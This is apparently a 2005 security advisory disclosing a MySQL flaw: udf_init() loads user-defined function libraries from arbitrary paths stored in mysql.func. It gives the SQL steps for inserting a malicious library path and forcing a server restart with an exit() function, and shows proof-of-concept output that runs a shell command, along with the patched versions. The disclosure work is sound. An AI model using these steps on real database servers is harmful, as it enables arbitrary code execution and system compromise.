
If an authenticated user has INSERT and DELETE privileges on 'mysql'
administrative
database, it is possible to use a library located in an arbitrary
directory. 

The problem resides in the lack of checking the presence of directory
separator in udf_init() function in sql_udf.cc.

When you try to create a function loading a library from an arbitrary
directory:
mysql> create function do_system returns integer soname
'/tmp/do_system.so';
ERROR 1124: No paths allowed for shared library

do you see? 
no way to load a library from an arbitrary directory...

What happens:
in sql_udf.cc
int mysql_create_function(THD *thd,udf_func *udf)
{ 
.....
  /*
    Ensure that the .dll doesn't have a path
    This is done to ensure that only approved dll from the system
    directories are used (to make this even remotely secure).
  */
  if (strchr(udf->dl, '/'))
  {
    send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS));
    DBUG_RETURN(1);
  }
 
is called and is checked if the name of library contains a '/'
so nobody can load a library from an arbitrary location.

Lets see where function infos are stored:

mysql> describe mysql.func;
+-------+------------------------------+------+-----+----------+-------+
| Field | Type                         | Null | Key | Default  | Extra |
+-------+------------------------------+------+-----+----------+-------+
| name  | char(64) binary              |      | PRI |          |       |
| ret   | tinyint(1)                   |      |     | 0        |       |
| dl    | char(128)                    |      |     |          |       |
| type  | enum('function','aggregate') |      |     | function |       |
+-------+------------------------------+------+-----+----------+-------+

The table mysql.func holds all information about 
loaded and created functions and it is kept updated for being loaded
when mysql restarts. In this way all the function previously created
can be retrieved.

This is done by calling 
in  sql_udf.cc

void udf_init()
{
....
Which reads mysql.func table and re-sets all previously declared
and created functions.
Well, the vulnerability lies here.

Infact it does not check if the 'dl' field contains a '/'.

If we don't use the CREATE FUNCTION statement, but we use the
INSERT INTO statement.
Putting the name of shared library in dl field.
INSERT INTO mysql.func (name,dl) VALUES
('do_system','/tmp/do_system.so');

And then we force mysql to restart, by using 
for example:
CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6';
SELECT exit(0);

when mysql restarts it will load the shared library from
'/tmp/do_system.so'
by allowing us to use the imported functions.

Remote exploitation is possible if db user has File_Priv (SELECT ...
INTO OUTFILE), too.

A Proof of concept for GNU/Linux is attached (needs MySql root
password):

$php exp2.php
Connected successfully as root
creating db for lib
selecting db for lib
done....
creating blob table for lib
done....
inserting blob table for lib
done....
dumping lib in /tmp/libso.so.0...
done....
sending lib....
done....
Creating exit function to restart server
done....
Selecting exit function
done!
Waiting for server to restart
Connected to MySql server again...
Sending Command...id >/tmp/id
done!
Now use your fav shell and ls -l /tmp/id
$ls -l /tmp/id
-rw-rw----  1 mysql mysql 45 gen 28 19:25 /tmp/id



Solution
Mysql released a patch.
New versions for MySQL 4.0.24 and  4.1.10a have been released.
Download them  to fix the issue.

Thanks to MySQL Company people, they where very kind and professional.


Disclaimer
In no event shall the author be liable for any damages 
whatsoever arising out of or in connection with the use 
or spread of this information. 
Any use of this information is at the user's own risk.

Florence, 11th March 2005

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